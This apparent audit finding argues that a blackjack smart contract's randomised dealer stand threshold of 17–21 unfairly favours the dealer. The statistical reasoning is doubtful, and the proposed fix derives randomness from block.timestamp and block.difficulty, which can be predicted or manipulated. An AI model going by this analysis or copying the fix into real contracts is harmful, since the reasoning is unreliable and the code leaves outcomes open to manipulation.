_Submitted by 0xKoiner

Summary

The `call()` function of the `TwentyOne` smart contract introduces an issue where the dealer's likelihood of busting is disproportionately low due to the implementation of a deterministic stopping condition (`standThreshold`) in the range of 17–21. This condition skews the game in favor of the dealer, reducing the player's chances of winning.

Vulnerability Details

Problematic Code

The following segment from the `call()` function sets a threshold for the dealer's hand and enforces a drawing rule:

```
uint256 standThreshold = (uint256(
    keccak256(
        abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
    )
) % 5) + 17;

while (dealersHand(msg.sender) < standThreshold) {
    uint256 newCard = drawCard(msg.sender);
    addCardForDealer(msg.sender, newCard);
}
```

This threshold (`standThreshold`) is randomized within a range of 17 to 21. The dealer draws cards until their hand reaches or exceeds this value. However:

1. The dealer stops drawing as soon as their hand equals or exceeds `standThreshold`.
2. If the dealer exceeds 21 during this process, they bust—but the limited range (17–21) minimizes the likelihood of this happening.

Dealer Advantage

- The threshold range biases the game against the player by ensuring the dealer rarely draws enough cards to bust.
- This creates an imbalanced game design where the dealer has a statistically lower risk of losing compared to the player, who must actively avoid busting at all stages.

Impact

- The biased `standThreshold` implementation diminishes fairness in gameplay by heavily favoring the dealer. This issue could lead to:

    1. **Reduced Trust**: Players may perceive the game as rigged or unfair.
    2. **Financial Loss**: Players are more likely to lose their wager due to the imbalance.
    3. **Reputational Damage**: The protocol risks losing credibility due to unfair game mechanics.

Tools Used

1. Manual Review of Code
2. Logical and Statistical Analysis of Gameplay Rules

Recommendations

Fix 1: Introduce Probabilistic Bust Behavior for Dealer

Allow the dealer to draw beyond 21 under certain conditions. For example:

- Increase randomness in the `standThreshold` or reduce its lower bound (e.g., 15–21 instead of 17–21).

Fix 2: Dynamically Adjust the Dealer's Risk Profile

Modify the dealer's behavior to more closely mimic real blackjack gameplay:

- Allow the dealer to draw cards without an explicit threshold but instead use a probabilistic stopping condition based on the player's hand.
- Example: The dealer should stop drawing if the risk of busting exceeds a certain probability (e.g., 50%).

Fix 3: Balance Gameplay for Fairness

Introduce a compensation mechanism for the player to offset the dealer's reduced risk:

- Provide players with additional options (e.g., doubling down, splitting cards, or receiving bonuses).
- Increase the player's reward if the dealer wins with a hand close to 21.

Code Adjustment

Here is a simplified suggestion for increasing dealer fairness:

```
while (dealersHand(msg.sender) < standThreshold ||
(dealersHand(msg.sender) <= 21 && randomBustChance())) {
    uint256 newCard = drawCard(msg.sender);
    addCardForDealer(msg.sender, newCard);
}

// Introduce a random bust chance for the dealer
function randomBustChance() internal view returns (bool) {
    uint256 chance = uint256(keccak256(abi.encodePacked(block.timestamp,
block.difficulty))) % 100;
    return chance < 20; // 20% chance for the dealer to continue drawing
even if close to busting
}
```